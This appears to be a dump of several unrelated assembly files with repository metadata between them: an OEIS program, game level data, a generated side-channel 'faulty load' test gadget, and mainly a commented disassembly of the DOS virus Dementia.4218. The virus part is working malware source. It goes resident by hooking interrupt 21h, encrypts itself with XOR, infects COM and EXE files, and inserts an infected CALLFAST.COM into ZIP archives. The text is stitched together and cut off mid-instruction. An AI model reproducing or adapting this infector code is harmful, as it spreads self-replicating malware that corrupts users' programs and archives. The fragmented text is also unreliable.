'addresses_WT_ht', 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 11, 'same': True}} {'54': 21829} 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 */
39.597222
2,999
0.658015
d0793fccb20ff78b93d81206a8f4d98d7c268b1a
555
asm
Assembly
oeis/310/A310505.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/310/A310505.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/310/A310505.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A310505: Coordination sequence Gal.6.330.1 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; Submitted by Simon Strandgaard ; 1,4,10,16,20,26,32,38,42,48,54,58,62,68,74,78,84,90,96,100,106,112,116,120,126,132,136,142,148,154,158,164,170,174,178,184,190,194,200,206,212,216,222,228,232,236,242,248,252,258 mov $1,1 mov $4,$0 mov $5,$0 lpb $0 mov $0,7 mul $0,$4 mov $2,$4 mod $2,11 add $0,$2 div $0,11 mov $1,$0 lpe mov $3,$5 mul $3,4 add $1,$3 add $0,$1
26.428571
180
0.675676
6c6dc944c68ed6846faea11e1c4914a2f40c01f4
127
asm
Assembly
PRG/objects/4-5Bonus.asm
narfman0/smb3_pp1
38a58adafff67a403591e38875e9fae943a5fe76
[ "Unlicense" ]
null
null
null
PRG/objects/4-5Bonus.asm
narfman0/smb3_pp1
38a58adafff67a403591e38875e9fae943a5fe76
[ "Unlicense" ]
null
null
null
PRG/objects/4-5Bonus.asm
narfman0/smb3_pp1
38a58adafff67a403591e38875e9fae943a5fe76
[ "Unlicense" ]
null
null
null
.byte $01 ; Unknown purpose .byte OBJ_BIGQBLOCK_TANOOKI, $0A, $13 .byte OBJ_ENDLEVELCARD, $48, $15 .byte $FF ; Terminator
21.166667
38
0.700787
41eef3244589da591d2f50e0e8c0e755789d03c0
563
asm
Assembly
programs/oeis/139/A139693.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/139/A139693.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/139/A139693.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A139693: a(n) is the smallest positive integer m where, for k divides m, minimum(|k - m/k|) = n. ; 1,2,3,10,5,14,7,44,33,22,11,26,13,68,51,34,17,38,19,92,69,46,23,174,145,116,87,58,29,62,31,222,185,148,111,74,37,164,123,82,41,86,43,188,141,94,47,318,265,212,159,106,53,354,295,236,177,118,59,122,61,402,335,268,201,134,67,284,213,142,71,146,73,474,395,316,237,158,79,332,249,166,83,534,445,356,267,178,89,776,679,582,485,388,291,194,97,404,303,202 mov $2,$0 seq $0,159477 ; a(n) = smallest prime >= n, if 1 is counted as a prime. sub $0,$2 add $2,$0 mul $0,$2
62.555556
350
0.676732
463e1fb6550fa44aaa630ce9c04be2c318857db0
4,348
asm
Assembly
Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xa0_notsx.log_1_1165.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xa0_notsx.log_1_1165.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xa0_notsx.log_1_1165.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r14 push %r15 push %r9 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_normal_ht+0x553f, %r14 nop nop nop nop add $32676, %rsi mov (%r14), %ebx nop nop nop nop add %rax, %rax lea addresses_UC_ht+0x1cddf, %rsi lea addresses_WC_ht+0x17691, %rdi nop nop nop nop sub %r9, %r9 mov $4, %rcx rep movsw nop nop and $61628, %rdi lea addresses_WC_ht+0x4ddf, %rsi lea addresses_WC_ht+0x253f, %rdi nop nop nop nop sub $35871, %r15 mov $3, %rcx rep movsb nop nop sub %rdi, %rdi lea addresses_D_ht+0x1d4cf, %r14 xor %r9, %r9 mov $0x6162636465666768, %rax movq %rax, (%r14) add %rax, %rax lea addresses_A_ht+0x191f7, %rdi nop cmp $60720, %r9 mov $0x6162636465666768, %r14 movq %r14, %xmm1 vmovups %ymm1, (%rdi) nop nop nop cmp $58402, %r9 lea addresses_WC_ht+0xa31f, %rsi lea addresses_WT_ht+0x45c3, %rdi nop nop nop nop nop sub $23664, %r14 mov $20, %rcx rep movsw nop nop nop and $56040, %rax lea addresses_D_ht+0x11ddf, %rbx nop xor $28935, %rax mov (%rbx), %r9 nop nop nop nop nop add $37001, %rbx pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r9 pop %r15 pop %r14 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %r14 push %r15 push %r8 push %rax // Store lea addresses_A+0x7bc5, %r13 sub %rax, %rax mov $0x5152535455565758, %r12 movq %r12, %xmm3 vmovntdq %ymm3, (%r13) nop nop cmp $25125, %r13 // Store lea addresses_normal+0x1afdf, %r14 nop nop nop add $50965, %r15 mov $0x5152535455565758, %r8 movq %r8, %xmm7 vmovups %ymm7, (%r14) nop nop and %r14, %r14 // Store lea addresses_A+0x295f, %r8 clflush (%r8) sub %r13, %r13 movw $0x5152, (%r8) nop nop nop nop nop add $43470, %r12 // Store lea addresses_US+0x1e5df, %r12 nop nop nop nop and $58441, %r15 movw $0x5152, (%r12) nop nop nop nop add %r8, %r8 // Store lea addresses_normal+0x15ddf, %r15 nop nop nop add $56759, %r11 mov $0x5152535455565758, %r12 movq %r12, %xmm0 movaps %xmm0, (%r15) nop nop nop sub $60965, %r8 // Store lea addresses_US+0x9c0a, %r13 cmp %r8, %r8 mov $0x5152535455565758, %r14 movq %r14, %xmm2 vmovups %ymm2, (%r13) nop inc %r15 // Faulty Load lea addresses_normal+0x15ddf, %r15 nop nop dec %r13 movb (%r15), %al lea oracles, %r12 and $0xff, %rax shlq $12, %rax mov (%r12,%rax,1), %rax pop %rax pop %r8 pop %r15 pop %r14 pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 32, 'NT': True, 'same': False, 'congruent': 1}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 8}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 7}} {'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 9}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': True, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}} {'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}} [Faulty Load] {'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': True, 'congruent': 2}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}} {'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 4}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 2}} {'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}} {'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 11}, 'OP': 'LOAD'} {'58': 1} 58 */
19.763636
149
0.649034
ec7d5d644fabde5b4fd7b4c0ffc9b25936d413d3
67,199
asm
Assembly
MSDOS/Virus.MSDOS.Unknown.dementia.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:13.000Z
2022-03-16T09:11:05.000Z
MSDOS/Virus.MSDOS.Unknown.dementia.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
null
null
null
MSDOS/Virus.MSDOS.Unknown.dementia.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:15.000Z
2022-01-08T20:51:04.000Z
comment * Dementia.4218 Disassembly by Darkman/29A Dementia.4218 is a 4218 bytes parasitic resident COM/EXE/ZIP virus. Infects files at close file, open file and load and/or execute program by appending the virus to the infected COM/EXE file and storing in the infected ZIP file. Dementia.4218 has an error handler, 16-bit exclusive OR (XOR) encryption in file and is using archive infection technique. To compile Dementia.4218 with Turbo Assembler v 4.0 type: TASM /M DEMENTI_.ASM TLINK /x DEMENTI_.OBJ EXE2BIN DEMENTI_.EXE DEMENTI_.COM * .model tiny .code code_begin: call delta_offset delta_offset: pop si ; Load SI from stack add si,(crypt_begin-delta_offset-02h) mov di,si ; DI = offset of code_end - 02h std ; Set direction flag mov cx,(crypt_begin-crypt_end-02h)/02h decrypt_key equ word ptr $+01h ; Decryption key mov dx,00h ; DX = decryption key push cs cs ; Save segments at stack pop ds es ; Load segments from stack (CS) decrypt_loop: lodsw ; AX = word of encrypted code xor ax,dx ; Decrypt two bytes stosw ; Store two plain bytes jmp crypt_end nop crypt_end: loop decrypt_loop cld ; Clear direction flag push cs ; Save CS at stack sub si,(crypt_end-code_begin) nop mov cl,04h ; Divide by paragraphs shr si,cl ; SI = offset of crypt_end in para... mov ax,cs ; AX = code segment add ax,si ; Add code segment to delta offset... push ax ; Save AX at stack lea ax,virus_begin ; AX = offset of virus_begin push ax ; Save AX at stack retf ; Return far! virus_begin: push cs ; Save CS at stack pop ds ; Load DS from stack (CS) pop ax ; Load AX from stack (CS) mov [code_seg_],ax ; Store code segment mov bx,1492h ; Dementia.4218 function call close_file cmp bx,1776h ; Already resident? je virus_exit ; Equal? Jump to virus_exit call install virus_exit: mov ah,[com_or_exe] ; AH = COM or EXE executable? cmp ah,00h ; COM executable? nop je vir_com_exit ; Equal? Jump to vir_com_exit mov ax,[code_seg_] ; AX = code segment mov bx,[initial_cs] ; AX = initial CS relative to star... sub ax,bx ; Subtract initial CS relative to ... mov dx,ax ; DX = segment of PSP for current ... mov bx,[code_seg] ; BX = original code segment add ax,bx ; Add original code segment to seg... mov [code_seg],ax ; Store original code segment xchg ax,dx ; AX = segment of current PSP proc... cli ; Clear interrupt-enable flag mov bx,[stack_seg] ; BX = original stack segment add ax,bx ; Add original stack segment to se... mov ss,ax ; SS = original stack segment mov ax,[stack_ptr] ; AX = original stack pointer mov sp,ax ; SP = " " " sti ; Set interrupt-enable flag mov ah,62h ; Get current PSP address int 21h mov ds,bx ; DS = segment of PSP for current ... mov es,bx ; ES = segment of PSP for current ... xor ax,ax ; Zero AX xor bx,bx ; Zero BX xor cx,cx ; Zero CX xor dx,dx ; Zero DX xor si,si ; Zero SI xor di,di ; Zero DI jmp dword ptr cs:[instruct_ptr] vir_com_exit: mov di,100h ; DI = offset of beginning of code lea si,origin_code ; SI = offset of origin_code nop movsw ; Move the original code to beginning movsb ; " " " " " " push es ; Save ES at stack mov ax,100h ; AX = offset of beginning of code push ax ; Save AX at stack xor ax,ax ; Zero AX xor bx,bx ; Zero BX xor cx,cx ; Zero CX xor dx,dx ; Zero DX xor si,si ; Zero SI xor di,di ; Zero DI push es ; Save ES at stack pop ds ; Load DS from stack (ES) retf ; Return far! upcase_char proc near ; Upcase character cmp al,'a' ; Lowcase character? jl dont_upcase ; Less? Jump to dont_upcase cmp al,'z' ; Lowcase character? jg dont_upcase ; Greater? Jump to dont_upcase sub al,20h ; Upcase character dont_upcase: ret ; Return! endp int21_virus proc near ; Interrupt 21h of Dementia.4218 pushf ; Save flags at stack cld ; Clear direction flag cmp ah,3eh ; Close file? jne tst_open_fil ; Not equal? Jump to tst_open_fil cmp bx,1492h ; Dementia.4218 function? jne tst_open_fil ; Not equal? Jump to tst_open_fil mov bx,1776h ; Already resident popf ; Load flags from stack iret ; Interrupt return! tst_open_fil: cmp ah,3dh ; Open file jne tst_load_and ; Not equal? Jump to tst_load_and cmp al,0ffh ; Dementia.4218 function je dementia_fun ; Equal? Jump to dementia_fun push ax si ; Save registers at stack mov si,dx ; SI = offset of filename find_dot: lodsb ; AL = byte of filename cmp al,00h ; End of filename? je open_fi_exit ; Equal? Jump to open_fi_exit cmp al,'.' ; Found the dot in the filename jne find_dot ; Not equal? Jump to find_dot lodsb ; AL = byte of extension call upcase_char cmp al,'C' ; COM executable? jne tst_exe_exec ; Not equal? Jump to tst_exe_exec lodsb ; AL = byte of extension call upcase_char cmp al,'O' ; COM executable? jne open_fi_exit ; Not equal? Jump to open_fi_exit lodsb ; AL = byte of extension call upcase_char cmp al,'M' ; COM executable? jne open_fi_exit ; Not equal? Jump to open_fi_exit call inf_com_exe jmp open_fi_exit nop tst_exe_exec: cmp al,'E' ; EXE executable? jne tst_zip_arch ; Not equal? Jump to tst_zip_arch lodsb ; AL = byte of extension call upcase_char cmp al,'X' ; EXE executable? jne open_fi_exit ; Not equal? Jump to open_fi_exit lodsb ; AL = byte of extension call upcase_char cmp al,'E' ; EXE executable? jne open_fi_exit ; Not equal? Jump to open_fi_exit call inf_com_exe jmp open_fi_exit nop tst_zip_arch: cmp al,'Z' ; ZIP archive? jne open_fi_exit ; Not equal? Jump to open_fi_exit lodsb ; AL = byte of extension call upcase_char cmp al,'I' ; ZIP archive? jne open_fi_exit ; Not equal? Jump to open_fi_exit lodsb ; AL = byte of extension call upcase_char cmp al,'P' ; ZIP archive? jne open_fi_exit ; Not equal? Jump to open_fi_exit call infect_zip jmp open_fi_exit nop open_fi_exit: pop si ax ; Load registers from stack jmp tst_load_and nop dementia_fun: mov al,02h ; Dementia.4218 function tst_load_and: cmp ah,4bh ; Load and/or execute program? jne int21_exit ; Not equal? Jump to int21_exit call inf_com_exe int21_exit: popf ; Load flags from stack jmp cs:[int21_addr] endp install proc near ; Allocate memory, move virus to t... push es ; Save ES at stack mov ah,52h ; Get list of lists int 21h mov ax,es:[bx-02h] ; AX = segment of first memory con... next_mcb: mov ds,ax ; DS = segment of current memory c... mov al,ds:[00h] ; AL = block type cmp al,'Z' ; Last block in chain? je allocate_mem ; Equal? Jump to allocate_mem mov ax,ds ; AX = segment of current memory c... mov bx,ds:[03h] ; BX = size of memory block in par... add ax,bx ; Add size of memory block in para... inc ax ; AX = segment of next memory cont... jmp next_mcb allocate_mem: mov bx,ds:[03h] ; BX = size of memory block in par... sub bx,(code_end-code_begin+0fh)/10h*02h mov ds:[03h],bx ; Store new size of memory control... mov ax,ds ; AX = segment of last memory cont... add ax,bx ; Add new size of memory block in ... inc ax ; AX = segment of virus mov es,ax ; ES = " " " push cs ; Save CS at stack pop ds ; Load DS from stack (CS) xor si,si ; Zero SI xor di,di ; Zero DI mov cx,(code_end-code_begin) rep movsb ; Move virus to top of memory push es ; Save ES at stack lea ax,install_ ; AX = offset of install_ push ax ; Save AX at stack retf ; Return far! install_: push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov ax,3521h ; Get interrupt vector 21h int 21h mov word ptr [int21_addr+02h],es mov word ptr [int21_addr],bx lea dx,int21_virus ; DX = offset of int21_virus mov ax,2521h ; Set interrupt vector 21h int 21h pop es ; Load ES from stack ret ; Return! endp inf_com_exe proc near ; Infect COM/EXE file push bp ; Save BP at stack mov bp,sp ; BP = stack pointer sub sp,06h ; Correct stack pointer push ax bx cx dx si di ds es call int24_store call open_file jc com_exe_exit ; Error? Jump to com_exe_exit call load_info and cx,0000000000011111b cmp cx,0000000000000001b je call_close ; Already infected? Jump to call_c... mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h mov ds,ax ; DS = segment of data buffer mov cx,20h ; Read thirty-two bytes call read_file mov ax,ds:[00h] ; AX = EXE signature cmp ax,'MZ' ; Found EXE signature? je call_infect ; Equal? Jump to call_infect cmp ax,'ZM' ; Found EXE signature? je call_infect ; Equal? Jump to call_infect call infect_com jmp call_mark nop call_infect: call infect_exe call_mark: call infect_mark call_close: call close_file com_exe_exit: call int24_load pop es ds di si dx cx bx ax mov sp,bp ; SP = stack pointer pop bp ; Load BP from stack ret ; Return! endp infect_zip proc near ; Infect ZIP archive push bp ; Save BP at stack mov bp,sp ; BP = stack pointer sub sp,28h ; Correct stack pointer push ax bx cx dx si di ds es xor ax,ax ; Didn't found file mov [bp-0eh],ax ; Store didn't found CALLFAST.COM mov [bp-10h],ax ; " " " REQUEST.IVA mov [bp-12h],ax ; " " " RECEIPT.IVA call int24_store push dx ds ; Save registers at stack lea dx,temp_file ; DX = offset of temp_file nop call create_file mov [bp-0ah],ax ; Store file handle of !#TEMP#! pop ds dx ; Load registers from stack call open_file jnc load_info_ ; No error? Jump to load_info_ jmp inf_zip_exit load_info_: mov [bp-08h],ax ; Store file handle of ZIP file call load_info mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h mov ds,ax ; DS = segment of data buffer next_lfh_sig: mov cx,04h ; Read four bytes call read_file mov ax,ds:[00h] ; AX = low-order word of file head... cmp ax,'KP' ; Found low-order word of file ha...? je test_dir_sig ; Equal? Jump to test_dir_sig jmp call_mark_ test_dir_sig: mov ax,ds:[02h] ; AX = high-order word of file hea... cmp ax,201h ; Found high-order word of central... jne read_lfh ; Not equal? Jump to read_lfh jmp zero_cdh_num read_lfh: mov cx,1ah ; Read twenty-six bytes call read_file mov cx,ds:[16h] ; CX = filename length mov dx,20h ; DI = offset of filename call read_file_ push cs ; Save CS at stack pop es ; Load ES from stack (CS) lea di,request_iva ; DI = offset of request_iva nop mov si,20h ; SI = offset of filename request_loop: lodsb ; AL = byte of filename mov ah,es:[di] ; AH = byte of request_iva inc di ; Increase index register cmp ah,00h ; End of filename? je found_reques ; Equal? Jump to found_reques cmp ah,al ; Byte of filename equal to byte o... jne find_callfas ; Not equal? Jump to find_callfas jmp request_loop found_reques: mov ax,01h ; Found REQUEST.IVA mov [bp-10h],ax ; Store found REQUEST.IVA xor cx,cx ; Zero CX xor dx,dx ; Zero DX call set_pos_cfp mov [bp-24h],ax ; AX = low-order word of extra field mov [bp-22h],dx ; DX = high-order word of extra field find_callfas: lea di,callfast_com ; DI = offset of callfast_com nop mov si,20h ; SI = offset of filename callfas_loop: lodsb ; AL = byte of filename mov ah,es:[di] ; AH = byte of callfast_com inc di ; Increase index register cmp ah,00h ; End of filename? je found_callfa ; Equal? Jump to found_callfa cmp ah,al ; Byte of filename equal to byte o... jne find_receipt ; Not equal? Jump to find_receipt jmp callfas_loop found_callfa: mov ax,01h ; Found CALLFAST.COM mov [bp-0eh],ax ; Store found CALLFAST.COM find_receipt: lea di,receipt_iva ; DI = offset of receipt_iva nop mov si,20h ; SI = offset of filename receipt_loop: lodsb ; AL = byte of filename mov ah,es:[di] ; AH = byte of receipt_iva inc di ; Increase index register cmp ah,00h ; End of filename? je found_receip ; Equal? Jump to found_receip cmp ah,al ; Byte of filename equal to byte o... jne calc_lfh_ptr ; Not equal? Jump to calc_lfh_ptr jmp receipt_loop found_receip: mov ax,01h ; Found RECEIPT.IVA mov [bp-12h],ax ; Store found RECEIPT.IVA calc_lfh_ptr: mov dx,ds:[0eh] ; DX = low-order word of compresse... mov cx,ds:[10h] ; CX = high-order word of compress... mov ax,ds:[18h] ; AX = extra field length add dx,ax ; Add extra field length to compre... adc cx,00h ; Convert to 32-bit call set_pos_cfp jmp next_lfh_sig zero_cdh_num: xor ax,ax ; No central directory file header... mov [bp-0ch],ax ; Store no central directory file ... copy_cds: mov ax,[bp-0ch] ; AX = number of central directory... inc ax ; Increase number of central direc... mov [bp-0ch],ax ; Store number of central director... mov bx,[bp-08h] ; BX = file handle of ZIP file mov cx,2ah ; Read forty-two bytes call read_file mov bx,[bp-0ah] ; BX = file handle of !#TEMP#! call write_file_ mov cx,ds:[18h] ; CX = filename length mov bx,ds:[1ah] ; BX = extra field length add cx,bx ; Add extra field length to filena... mov bx,ds:[1ch] ; BX = file comment length add cx,bx ; CX = number of bytes to read mov bx,[bp-08h] ; BX = file handle of ZIP file call read_file_ mov bx,[bp-0ah] ; BX = file handle of !#TEMP#! call write_file_ mov cx,04h ; Read four bytes mov bx,[bp-08h] ; BX = file handle of ZIP file call read_file_ mov ax,ds:[00h] ; AX = low-order word of end of ce... cmp ax,'KP' ; Found low-order word of end of ...? je test_eoc_sig ; Equal? Jump to test_eoc_sig jmp call_mark_ test_eoc_sig: mov ax,ds:[02h] ; AX = high-order word of end of c... cmp ax,605h ; Found high-order word of end of ... je copy_eocds ; Equal? Jump to read_oecds jmp copy_cds copy_eocds: mov bx,[bp-08h] ; BX = file handle of ZIP file mov cx,12h ; Read eightteen bytes call read_file mov ax,ds:[0ch] ; AX = low-order word of offset of... mov [bp-18h],ax ; Store low-order word of offset o... mov ax,ds:[0eh] ; AX = high-order word of offset o... mov [bp-16h],ax ; Store high-order word of offset ... mov bx,[bp-0ah] ; BX = file handle of !#TEMP#! call write_file_ mov cx,ds:[10h] ; CX = zipfile comment length mov bx,[bp-08h] ; BX = file handle of ZIP file call read_file_ mov bx,[bp-0ah] ; BX = file handle of !#TEMP#! call write_file_ mov ax,[bp-10h] ; AX = found REQUEST.IVA or ax,ax ; Didn't found REQUEST.IVA jz test_callfas ; Zero? Jump to test_callfas jmp test_receipt test_callfas: mov ax,[bp-0eh] ; AX = found CALLFAST.COM or ax,ax ; Didn't found CALLFAST.COM jz create_file_ ; Zero? Jump to create_file_ jmp call_mark_ create_file_: lea dx,callfast_com ; DX = offset of callfast_com nop call create_file mov [bp-14h],ax ; Store file handle of CALLFAST.COM mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM mov cx,(file_end-file_begin) nop lea dx,file_begin ; DX = offset of file_begin nop call write_file_ call close_file mov ax,01h ; Don't test filesize mov [tst_filesize],ax ; Store don't test filesize lea dx,callfast_com ; DX = offset of callfast_com nop call inf_com_exe xor ax,ax ; Test filesize mov [tst_filesize],ax ; Store test filesize push cs ; Save CS at stack pop ds ; Load DS from stack (CS) push cs ; Save CS at stack pop es ; Load ES from stack (CS) lea si,callfast_com ; SI = offset of callfast_com nop lea di,filename ; DI = offset of filename nop mov cx,0dh ; Move thirteen bytes rep movsb ; Move CALLFAST.COM to filename open_filenam: push cs ; Save CS at stack pop ds ; Load DS from stack (CS) lea dx,filename ; DX = offset of filename nop call open_file call set_pos_eof mov [bp-1ch],ax ; Store low-order word of filesize mov [bp-1ah],dx ; Store high-order word of filesize call calc_crc32 mov [bp-20h],ax ; Store low-order word of CRC-32 c... mov [bp-1eh],dx ; Store high-order word of CRC-32 ... mov bx,[bp-08h] ; BX = file handle of ZIP file mov cx,[bp-16h] ; CX = high-order word of offset o... mov dx,[bp-18h] ; DX = low-order word of offset of... call set_pos_sof_ mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h mov ds,ax ; DS = segment of data buffer mov ax,'KP' ; AX = low-order word of local hea... mov ds:[00h],ax ; Store low-order word of local he... mov ax,403h ; AX = high-order word of local hea... mov ds:[02h],ax ; Store high-order word of local he... mov ax,0ah ; AX = version needed to extract (v... mov ds:[04h],ax ; Store version needed to extract (... xor ax,ax ; AX = general purpose bit flag and... mov ds:[06h],ax ; Store general purpose bit flag mov ds:[08h],ax ; Store compression method (the fil... mov ax,3021h ; AX = last modified file time mov ds:[0ah],ax ; Store last modified file time mov ax,1ae1h ; AX = last modified file date mov ds:[0ch],ax ; Store last modified file date mov ax,[bp-20h] ; AX = low-order word of CRC-32 ch... mov ds:[0eh],ax ; Store low-order word of CRC-32 c... mov ax,[bp-1eh] ; AX = high-order word of CRC-32 c... mov ds:[10h],ax ; Store high-order word of CRC-32 ... mov ax,[bp-1ch] ; AX = low-order word of filesize mov 